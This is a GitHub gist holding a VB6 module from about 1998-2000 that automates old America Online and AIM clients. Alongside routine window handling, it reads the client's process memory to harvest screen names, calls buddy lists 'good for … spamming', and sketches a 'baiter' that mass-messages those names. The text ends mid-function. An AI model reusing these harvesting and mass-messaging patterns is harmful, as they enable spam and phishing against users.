Skip to content

Instantly share code, notes, and snippets.

@derv82

derv82/Kai32.bas

Created February 12, 2013 08:03
Show Gist options
  • Save derv82/4760874 to your computer and use it in GitHub Desktop.
Save derv82/4760874 to your computer and use it in GitHub Desktop.
Download ZIP
VB6 module for "interacting" with America Online (AOL). Developed between 1998-2000 when I was 15.
Raw
Kai32.bas
Attribute VB_Name = "Kai32"
'-=====================================================-
' -= +------------------------------------------------+ =-
' -= | |\ =-
' -= | |¯¯|\ |¯¯|\ |¯¯|\ |¯¯¯¯¯¯|\ |¯¯¯¯¯¯|\ |\\ =-
' -= | | |\/ /\| |__|\||__|| |\||___ |\| |\\| =-
' -= | | |/ /\/ |¯¯¯¯¯|\ \\\\| \\|¯ |\| /¯¯___/\| |\\| =-
' -= | | /\/ | |\||¯¯|\ |¯¯|| |\|| ¯¯¯|\ |\\| =-
' -= | | \/ | | |\|| |\||______|\||______|\| |\\| =-
' -= | | |\ \ | |\|| |\| \\\\\\\\| \\\\\\\\| |\\| =-
' -= | | |\\ \ | | |\|| |\| ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯ |\\| =-
' -= | |__|\|__|\ |__|__|\||__|\| +-------------------+\\| =-
' -= | \\\\ \\\\| \\\\\\\| \\\\| |\\\\\\\\\\\\\\\\\\\\\\| =-
' -= | ¯¯¯ ¯¯¯ ¯¯¯¯¯¯ ¯¯¯ |\\\\\\\\\\\\\\\\\\\\\\| =-
' -= +----------------------------+\\|¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ =-
' -= \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| =====================-
' -= \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| =-
' -= ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ =-
' -=================================-
'[aol versions]
' 5.0 [some]
' 4.0 [alot]
' 3.0 [a little.. because of aol 95]
' 2.5 [some]
'made with: visual basic 6
'number of subs to date: 333
Global ccomSilent As Boolean, ccomAnti As Boolean
Global blnOHScroll As Boolean, blnClick As Boolean, blnExploit As Boolean
Global vbTray As NOTIFYICONDATA
'findwindow(ex) declarations
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
'aol listchange declaration [you need aolstuff.dll]
Public Declare Function CB_Change Lib "aolstuff.dll" Alias "AOLChangeList" (ByVal p1&, ByVal p2&, ByVal p3$) As Long
'getwindowtext declarations
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
'ini declarations
Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Public Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
'get menu/sub menu declarations
Public Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long
Public Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function GetMenuString Lib "user32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
Public Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
'send/post message declarations
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessageByNum Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
'cursor position declarations
Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
'rect declares
Public Declare Function MoveWindow Lib "user32" (ByVal hWnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
Public Declare Function GetWindowRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT) As Long
Public Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
'other delcarations
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (destination As Any, source As Any, ByVal length As Long)
Public Declare Function EnableWindow Lib "user32" (ByVal hWnd As Long, ByVal fEnable As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
Public Declare Function IsWindowVisible Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function MciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function mciGetErrorString Lib "winmm.dll" Alias "mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, ByVal uLength As Long) As Long
Public Declare Function ReleaseCapture Lib "user32" () As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetTopWindow Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function sndPlaySound Lib "winmm.dll" Alias "PlaySoundA" (ByVal lpszName As String, ByVal hModule As Long, ByVal dwFlags As Long) As Long
'main commands
Public Const WM_CHAR = &H102
Public Const WM_CLOSE = &H10
Public Const WM_COMMAND = &H111
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_USER = &H400
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_MOVE = &HF012
Public Const WM_MOUSEMOVE = &H200
Public Const WM_SETTEXT = &HC
Public Const WM_SYSCOMMAND = &H112
Public Const WM_COPY = &H301
'keyboard constants
Public Const VK_DOWN = &H28
Public Const VK_LEFT = &H25
Public Const VK_MENU = &H12
Public Const VK_RETURN = &HD
Public Const VK_RIGHT = &H27
Public Const VK_SHIFT = &H10
Public Const VK_SPACE = &H20
Public Const VK_UP = &H26
'checkbox constants
Public Const BM_GETCHECK = &HF0
Public Const BM_SETCHECK = &HF1
'sound constants
Public Const SND_ASYNC = &H1
Public Const SND_NODEFAULT = &H2
Public Const SND_FLAG = SND_ASYNC Or SND_NODEFAULT
'showwindow constants
Public Const SW_HIDE = 0
Public Const SW_SHOW = 5
Public Const SW_MAXIMIZE = 3
Public Const SW_MINIMIZE = 6
Public Const SW_RESTORE = 9
Public Const SW_SHOWDEFAULT = 10
Public Const SW_SHOWMAXIMIZED = 3
Public Const SW_SHOWMINIMIZED = 2
Public Const SW_SHOWMINNOACTIVE = 7
Public Const SW_SHOWNOACTIVATE = 4
Public Const SW_SHOWNORMAL = 1
'set window position constants [swp]
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
'other constants
Public Const ENTER_KEY = 13
Public Const PROCESS_READ = &H10
Public Const RIGHTS_REQUIRED = &HF0000
Public Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE
'listbox constants
Public Const LB_GETCOUNT = &H18B
Public Const LB_GETITEMDATA = &H199
Public Const LB_GETTEXT = &H189
Public Const LB_GETTEXTLEN = &H18A
Public Const LB_SETSEL = &H185
Public Const LB_SETCURSEL = &H186
Public Const LB_FINDSTRINGEXACT = &H1A2
'combobox constants
Public Const CB_GETCOUNT = &H146
Public Const CB_GETCURSEL = &H147
Public Const CB_GETITEMDATA = &H150
Public Const CB_SETCURSEL = &H14E
'notifyicondata constants
Public Const NIM_ADD = &H0
Public Const NIM_DELETE = &H2
Public Const NIF_ICON = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIM_MODIFY = &H1
Public Const NIF_TIP = &H4
'hWnd constants
Public Const HWND_NOTOPMOST = -2
Public Const HWND_TOPMOST = -1
'declaring api's type
Public Type POINTAPI
X As Long
Y As Long
End Type
'declaring notifyicondata's type
Public Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type
'rect's type [for window rectangle coordinates]
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Public Sub ActivateAOL()
'activates aol
Dim aol As Long
aol& = FindWindow("AOL Frame25", vbNullString)
AppActivate GetText(aol&)
End Sub
Public Sub AddAOLList(hWnd As Long, list As ListBox, Optional AddUser As Boolean)
'adds list from aol 4.0/3.0 to listbox
'just get the handle of the listbox, and put this:
'Call AddAOLList(hWndOfAOLListbox, List1)
On Error Resume Next
Dim cProcess As Long, itmHold As Long, screenname As String
Dim psnHold As Long, rBytes As Long, Index As Long, Room As Long
Dim rList As Long, sThread As Long, mThread As Long
Dim iTab As Long, iTab2 As Long
rList& = hWnd
If rList& = 0& Then Exit Sub
sThread& = GetWindowThreadProcessId(rList, cProcess&)
mThread& = OpenProcess(PROCESS_READ Or RIGHTS_REQUIRED, False, cProcess&)
If mThread& Then
For Index& = 0 To SendMessage(rList, LB_GETCOUNT, 0, 0) - 1
screenname$ = String$(4, vbNullChar)
itmHold& = SendMessage(rList, LB_GETITEMDATA, ByVal CLng(Index&), ByVal 0&)
itmHold& = itmHold& + 24
Call ReadProcessMemory(mThread&, itmHold&, screenname$, 4, rBytes)
Call CopyMemory(psnHold&, ByVal screenname$, 4)
psnHold& = psnHold& + 6
screenname$ = String$(16, vbNullChar)
Call ReadProcessMemory(mThread&, psnHold&, screenname$, Len(screenname$), rBytes&)
screenname$ = Left$(screenname$, InStr(screenname$, vbNullChar) - 1)
iTab& = InStr(1, screenname$, Chr(9))
iTab2& = InStr(iTab& + 1, screenname$, Chr(9))
screenname$ = Mid(screenname$, iTab& + 1, iTab2& - 2)
screenname$ = ReplaceText(screenname$, Chr(9), "")
If AddUser = True Or screenname$ <> GetUser Then
list.AddItem Trim(screenname$) + "@aol.com"
End If
Next Index&
Call CloseHandle(mThread)
End If
End Sub
Public Sub AddBuddyList(lst As ListBox)
'adds buddylist sn's to listbox in vb
'good for foreign accounts + spamming
Dim aol As Long, mdi As Long, blwin As Long, BLIcon As Long
Dim blsWin As Long, blsList As Long, kwFound As Long
Dim lbVar As Long, eblWin As Long, eblList As Long, eblCount As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
blwin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
If aol& = 0 Then Exit Sub
If blwin& = 0& Then
Call Keyword("bv")
End If
Do
DoEvents
blwin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
kwFound& = FindWindowEx(mdi&, 0&, "AOL Child", "Keywords Found")
If kwFound& <> 0& Then Exit Sub
BLIcon& = FindWindowEx(blwin&, 0&, "_AOL_Icon", vbNullString)
BLIcon& = FindWindowEx(blwin&, BLIcon&, "_AOL_Icon", vbNullString)
BLIcon& = FindWindowEx(blwin&, BLIcon&, "_AOL_Icon", vbNullString)
Loop Until blwin& <> 0& And BLIcon& <> 0&
Call SendMessage(BLIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(BLIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
blsWin& = FindBuddyLists
blsList& = FindWindowEx(blsWin&, 0&, "_AOL_Listbox", vbNullString)
Loop Until blsWin& <> 0& And blsList& <> 0&
For lbVar& = 0 To SendMessage(blsList&, LB_GETCOUNT, 0&, 0&) - 1
Call SendMessage(blsList&, LB_SETCURSEL, lbVar&, 0&)
Call PostMessage(blsList&, WM_LBUTTONDBLCLK, 0&, 0&)
Do
DoEvents
eblWin& = FindEditBuddyList
eblList& = FindWindowEx(eblWin&, 0&, "_AOL_Listbox", vbNullString)
eblCount& = SendMessage(eblList&, LB_GETCOUNT, 0&, 0&)
Loop Until eblWin& <> 0& And eblList& <> 0&
pause (0.6)
Call AddAOLList(eblList&, lst)
Call PostMessage(eblWin&, WM_CLOSE, 0&, 0&)
Next lbVar&
Call PostMessage(blsWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub AddBuddyList25(list As ListBox)
'adds buddylist to listbox in vb
'this only works for me on aol 3.0
'[aol 2.5 is 16 bit]
Dim aol As Long, mdi As Long, bWin As Long
Dim bIcon As Long, sWin As Long, bList As Long, lbVar As Long
Dim eblWin As Long, eblList As Long, eblCount As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
If bWin& = 0& Then
Call Keyword("bv")
Do
DoEvents
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
Loop Until bWin& <> 0&
End If
bIcon& = FindWindowEx(bWin&, 0&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(bIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(bIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
sWin& = FindBuddyLists
bList& = FindWindowEx(sWin&, 0&, "_AOL_Listbox", vbNullString)
Loop Until sWin& <> 0& And bList& <> 0&
For lbVar& = 0 To SendMessage(bList&, LB_GETCOUNT, 0&, 0&) - 1
Call SendMessage(bList&, LB_SETCURSEL, lbVar&, 0&)
Call PostMessage(bList&, WM_LBUTTONDBLCLK, 0&, 0&)
Do
DoEvents
eblWin& = FindEditBuddyList
eblList& = FindWindowEx(eblWin&, 0&, "_AOL_Listbox", vbNullString)
eblCount& = SendMessage(eblList&, LB_GETCOUNT, 0&, 0&)
Loop Until eblWin& <> 0& And eblList& <> 0&
pause (0.6)
Call AddAOLList(eblList&, list)
Call PostMessage(eblWin&, WM_CLOSE, 0&, 0&)
Next lbVar&
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub AddLogOn()
'adds # of signons to ini
Dim LogOns As Long, strLogOns As String
strLogOns$ = GetFromINI("ph2", "log ons", App.Path + "\ph2.ini")
strLogOns$ = strLogOns$ + 1
Call WritePrivateProfileString("ph2", "log ons", strLogOns$, App.Path + "\ph2.ini")
End Sub
Public Sub AddOpenedBuddy(Buddy As String)
'adds buddy to the little 'add buddy' window..
'you know what i mean
Dim winEBL As Long, bEdit As Long, bIcon As Long
Dim blStatic As Long, blString As String, blText As String
winEBL& = FindEditBuddyList
bEdit& = FindWindowEx(winEBL&, 0&, "_AOL_Edit", vbNullString)
bEdit& = FindWindowEx(winEBL&, bEdit&, "_AOL_Edit", vbNullString)
bIcon& = FindWindowEx(winEBL&, 0&, "_AOL_Icon", vbNullString)
Call SendMessageByString(bEdit&, WM_SETTEXT, 0&, Buddy$)
Call SendMessageLong(bEdit&, WM_CHAR, ENTER_KEY, 0&)
Do
DoEvents
blStatic& = FindWindowEx(winEBL&, 0&, "_AOL_Static", vbNullString)
blStatic& = FindWindowEx(winEBL&, blStatic&, "_AOL_Static", vbNullString)
blStatic& = FindWindowEx(winEBL&, blStatic&, "_AOL_Static", vbNullString)
blStatic& = FindWindowEx(winEBL&, blStatic&, "_AOL_Static", vbNullString)
blStatic& = FindWindowEx(winEBL&, blStatic&, "_AOL_Static", vbNullString)
blString$ = GetText(blStatic&)
blText$ = GetText(bEdit&)
Loop Until blText$ = "" Or InStr(1, blString$, "already in") <> 0& Or InStr(1, blString$, "too short") <> 0& Or InStr(1, blString$, "not given") <> 0& Or InStr(1, blString$, "Invalid character") <> 0&
Call SendMessageByString(blStatic&, WM_SETTEXT, 0&, "")
End Sub
Public Sub AddRoom(list As ListBox, Optional AddUser As Boolean)
'self explanatory
On Error Resume Next
Dim cProcess As Long, itemHold As Long, screenname As String
Dim psnHold As Long, rBytes As Long, Index As Long, Room As Long
Dim rList As Long, sThread As Long, mThread As Long
Room& = FindRoom&
If Room& = 0& Then Exit Sub
rList& = FindWindowEx(Room&, 0&, "_AOL_Listbox", vbNullString)
sThread& = GetWindowThreadProcessId(rList, cProcess&)
mThread& = OpenProcess(PROCESS_READ Or RIGHTS_REQUIRED, False, cProcess&)
If mThread& Then
For Index& = 0 To SendMessage(rList, LB_GETCOUNT, 0, 0) - 1
screenname$ = String$(4, vbNullChar)
itemHold& = SendMessage(rList, LB_GETITEMDATA, ByVal CLng(Index&), ByVal 0&)
itemHold& = itemHold& + 24
Call ReadProcessMemory(mThread&, itemHold&, screenname$, 4, rBytes)
Call CopyMemory(psnHold&, ByVal screenname$, 4)
psnHold& = psnHold& + 6
screenname$ = String$(16, vbNullChar)
Call ReadProcessMemory(mThread&, psnHold&, screenname$, Len(screenname$), rBytes&)
screenname$ = Left$(screenname$, InStr(screenname$, vbNullChar) - 1)
If screenname$ <> GetUser$ Or AddUser = True Then
list.AddItem screenname$
End If
Next Index&
Call CloseHandle(mThread)
End If
End Sub
Public Sub AIM_Addroom(list As ListBox, Optional AddUser As Boolean)
'adds aim's room members to listbox
Dim ChatRoom As Long, lTree As Long, lCount As Long
Dim lngVar As Long, nLen As Long, lBuff As String, lngRetVal As Long
Dim iTab As Long, lText As String, Name As String
ChatRoom& = AIM_FindRoom
If ChatRoom& <> 0& Then
lTree& = FindWindowEx(ChatRoom&, 0, "_Oscar_Tree", vbNullString)
lCount = SendMessage(lTree&, LB_GETCOUNT, 0, 0)
For lngVar& = 0 To lCount - 1
Call SendMessageByString(lTree&, LB_SETCURSEL, lngVar&, 0)
nLen = SendMessage(lTree&, LB_GETTEXTLEN, lngVar&, 0)
lBuff$ = String$(nLen, 0)
lngRetVal = SendMessageByString(lTree&, LB_GETTEXT, lngVar&, lBuff$)
iTab = InStr(1, lBuff$, Chr$(9))
lText$ = Right$(lBuff$, (Len(lBuff$) - (iTab)))
iTab = InStr(1, lText$, Chr$(9))
lText$ = Right$(lText$, (Len(lText$) - (iTab)))
Name$ = lText$
If Name$ <> AIM_GetUser Or AddUser = True Then
list.AddItem Name$
End If
Next lngVar&
End If
End Sub
Function AIM_FindRoom() As Long
'finds an aim room
Dim cWin As Long, cCaption As String
cWin& = FindWindow("AIM_ChatWnd", vbNullString)
cCaption$ = GetText(cWin&)
If InStr(1, cCaption$, "Chat Room:") = 1 Then
AIM_FindRoom& = cWin&
Else
AIM_FindRoom& = 0&
End If
End Function
Public Function AIM_GetUser() As String
'gets current aim sn
Dim bWin As Long, bString As String
bWin& = FindWindow("_Oscar_BuddyListWin", vbNullString)
bString$ = GetText(bWin&)
If InStr(bString$, "'s Buddy List") <> 0 Then
bString$ = Mid$(bString$, 1, (InStr(bString$, "'") - 1))
AIM_GetUser$ = bString$
Exit Function
End If
AIM_GetUser$ = "n/a"
End Function
Public Function AOLVersion() As String
'returns w/ the value aol the
'current aol version.
'outcomes:
' 2.5
' 3
' 4
' 5
Dim aol As Long, gMenu As Long, Mnu As Long
Dim sMenu As Long, sItem As Long, mString As String
Dim fString As Long, tb As Long, TBar As Long
Dim tCombo As Long, tEdit As Long
aol& = FindWindow("AOL Frame25", vbNullString)
tb& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
TBar& = FindWindowEx(tb&, 0&, "_AOL_Toolbar", vbNullString)
tCombo& = FindWindowEx(TBar&, 0&, "_AOL_Combobox", vbNullString)
tEdit& = FindWindowEx(tCombo&, 0&, "Edit", vbNullString)
If tEdit& <> 0& And tCombo& <> 0& Then
gMenu& = GetMenu(aol&)
sMenu& = GetSubMenu(gMenu&, 4&)
sItem& = GetMenuItemID(sMenu&, 9&)
mString$ = String$(100, " ")
fString& = GetMenuString(sMenu&, sItem&, mString$, 100, 1)
If InStr(1, LCase(mString$), LCase("&What's New in AOL 5.0")) <> 0& Then
AOLVersion = "5.0"
Else
AOLVersion = "4.0"
End If
Else
aol& = FindWindow("AOL Frame25", vbNullString)
gMenu& = GetMenu(aol&)
Mnu& = GetMenuItemCount(GetMenu(aol&))
If Mnu& = 8 Then
sMenu& = GetSubMenu(gMenu&, 1)
sItem& = GetMenuItemID(sMenu&, 8)
mString$ = String$(100, " ")
Else
sMenu& = GetSubMenu(gMenu&, 0)
sItem& = GetMenuItemID(sMenu&, 8)
mString$ = String$(100, " ")
End If
fString& = GetMenuString(sMenu&, sItem&, mString$, 100, 1)
If InStr(1, LCase(mString$), LCase("&LOGGING...")) <> 0& Then
AOLVersion = "2.5"
Else
AOLVersion = "3.0"
End If
End If
End Function
Public Sub Baiter()
'to make a baiter, you need this:
'a listbox [lstBait]
'another listbox [lstSN]
'a timer [tmr]
'a button [cmdBait]
'and a textbox [txtMessage]
'in the timer, put this:
' call findbait(lstBait)
' imWin& = FindSentIM
' If imWin& <> 0& Then
' Call PostMessage(imWin&, WM_CLOSE, 0&, 0&)
' End If
'in the button, put this:
' tmr.Enabled = True
' For i = 0 To lstSN.ListCount - 1
' Call InstantMessage(lstSN.List(i), txtMessage.Text)
' Pause (2)
' Next i
'and that's it, you got a baiter
'make sure to put a stop button on it
'and maybe even some gathers. -=D
End Sub
Public Function BCCList(list As ListBox) As String
'function - returns sn's in blind carbon copy format
'ex: (sn)(sn)(sn)(sn)
Dim lLong As Long, lString As String
For lLong& = 0 To list.ListCount - 1
lString$ = lString$ + "(" + list.list(lLong&) + ")"
Next lLong&
BCCList = lString$
End Function
Public Sub BustPR(Room As String)
'busts pr.. non-stop!
Dim bRoom As String, bWin As Long, bBut As Long
Dim bSta As Long, bStr As String, lngTries As Long
bRoom$ = GetText(FindRoom)
If LCase(TrimSpaces(bRoom$)) = LCase(TrimSpaces(Room$)) Then Exit Sub
Do
DoEvents
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call KeyWord25("aol://2719:2-2-" + TrimSpaces(Room$))
Else
Call Keyword("aol://2719:2-2-" + TrimSpaces(Room$))
End If
lngTries& = lngTries& + 1
Do
DoEvents
'‹/•\› · kai³² ·
bWin& = FindWindow("#32770", "America Online")
bBut& = FindWindowEx(bWin&, 0&, "Button", "OK")
bSta& = FindWindowEx(bWin&, 0&, "Static", vbNullString)
bSta& = FindWindowEx(bWin&, bSta&, "Static", vbNullString)
bStr$ = GetText(bSta&)
Loop Until LCase(TrimSpaces(Room$)) = LCase(TrimSpaces(GetText(FindRoom&))) Or bWin& <> 0& And bBut& <> 0& And bSta& <> 0& And bStr$ <> ""
If bWin& <> 0& Then
If InStr(1, bStr$, "you requested is full") <> 0& Then
Call PostMessage(bBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(bBut&, WM_KEYUP, VK_SPACE, 0&)
ElseIf InStr(1, LCase(bStr$), "error") <> 0& Then
Call PostMessage(bBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(bBut&, WM_KEYUP, VK_SPACE, 0&)
Exit Sub
ElseIf InStr(1, bStr$, "name is not allowed") <> 0& Then
Call PostMessage(bBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(bBut&, WM_KEYUP, VK_SPACE, 0&)
Exit Sub
End If
Else
Exit Do
End If
Loop
If lngTries <= 1& Then
Call cChatSend("• pH2 · Entered " + GetText(FindRoom&) + "")
Else
Call cChatSend("• pH2 · Entered " + GetText(FindRoom&) + " · Tries: " & lngTries& & "")
End If
End Sub
Public Sub ChangePassword(oldpw As String, newpw As String)
'changes users password
Dim aol As Long, mdi As Long, cWin As Long, cButton As Long, cStatic As Long, cButCancel As Long
Dim cpWin As Long, cpEditSN As Long, cpEditPW As Long, cpEditPW2 As Long, cpButton As Long, msgWin As Long, MsgButton As Long
If Len(newpw$) < 6& Or Len(newpw$) > 8& Then Exit Sub
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call ChangePassword25(oldpw$, newpw$)
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call ToolKeyword("password")
Do
DoEvents
cWin& = FindWindow("_AOL_Modal", vbNullString)
cButton& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
'cButton& = FindWindowEx(cWin&, cButCancel&, "_AOL_Icon", vbNullString)
cStatic& = FindWindowEx(cWin&, 0&, "_AOL_Static", vbNullString)
Loop Until cWin& <> 0& And cButton& <> 0& And cStatic& <> 0&
pause (0.2)
Call SendMessage(cButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(cButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
cpWin& = FindWindow("_AOL_Modal", "Change Your Password")
cpEditSN& = FindWindowEx(cpWin&, 0&, "_AOL_Edit", vbNullString)
cpEditPW& = FindWindowEx(cpWin&, cpEditSN&, "_AOL_Edit", vbNullString)
cpEditPW2& = FindWindowEx(cpWin&, cpEditPW&, "_AOL_Edit", vbNullString)
cpButton& = FindWindowEx(cpWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until cpWin& <> 0& And cpEditSN& <> 0& And cpEditPW& <> 0& And cpEditPW2& <> 0& And cpButton& <> 0&
Call SendMessageByString(cpEditSN&, WM_SETTEXT, 0&, oldpw$)
Call SendMessageByString(cpEditPW&, WM_SETTEXT, 0&, newpw$)
Call SendMessageByString(cpEditPW2&, WM_SETTEXT, 0&, newpw$)
Call SendMessage(cpButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(cpButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
msgWin& = FindWindow("#32770", "America Online")
MsgButton& = FindWindowEx(msgWin&, 0&, "Button", "OK")
Loop Until msgWin& <> 0& And MsgButton& <> 0&
Call SendMessage(MsgButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(MsgButton&, WM_KEYUP, VK_SPACE, 0&)
Call SendMessage(cButCancel&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(cButCancel&, WM_LBUTTONUP, 0&, 0&)
Call ModalKill
End Sub
Public Function AOLnumba() As String
'returns w/ the value aol thePublic Function AOLnumba() As String
'current aol version.
'outcomes:
' 2.5
' 3
' 4
' 5
Dim aol As Long, gMenu As Long, Mnu As Long
Dim sMenu As Long, sItem As Long, mString As String
Dim fString As Long, tb As Long, TBar As Long
Dim tCombo As Long, tEdit As Long
aol& = FindWindow("AOL Frame25", vbNullString)
tb& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
TBar& = FindWindowEx(tb&, 0&, "_AOL_Toolbar", vbNullString)
tCombo& = FindWindowEx(TBar&, 0&, "_AOL_Combobox", vbNullString)
tEdit& = FindWindowEx(tCombo&, 0&, "Edit", vbNullString)
If tEdit& <> 0& And tCombo& <> 0& Then
gMenu& = GetMenu(aol&)
sMenu& = GetSubMenu(gMenu&, 4&)
sItem& = GetMenuItemID(sMenu&, 9&)
mString$ = String$(100, " ")
fString& = GetMenuString(sMenu&, sItem&, mString$, 100, 1)
If InStr(1, LCase(mString$), LCase("&What's New in AOL 5.0")) <> 0& Then
AOLnumba = "five"
Else
AOLnumba = "four"
End If
Else
aol& = FindWindow("AOL Frame25", vbNullString)
gMenu& = GetMenu(aol&)
Mnu& = GetMenuItemCount(GetMenu(aol&))
If Mnu& = 8 Then
sMenu& = GetSubMenu(gMenu&, 1)
sItem& = GetMenuItemID(sMenu&, 8)
mString$ = String$(100, " ")
Else
sMenu& = GetSubMenu(gMenu&, 0)
sItem& = GetMenuItemID(sMenu&, 8)
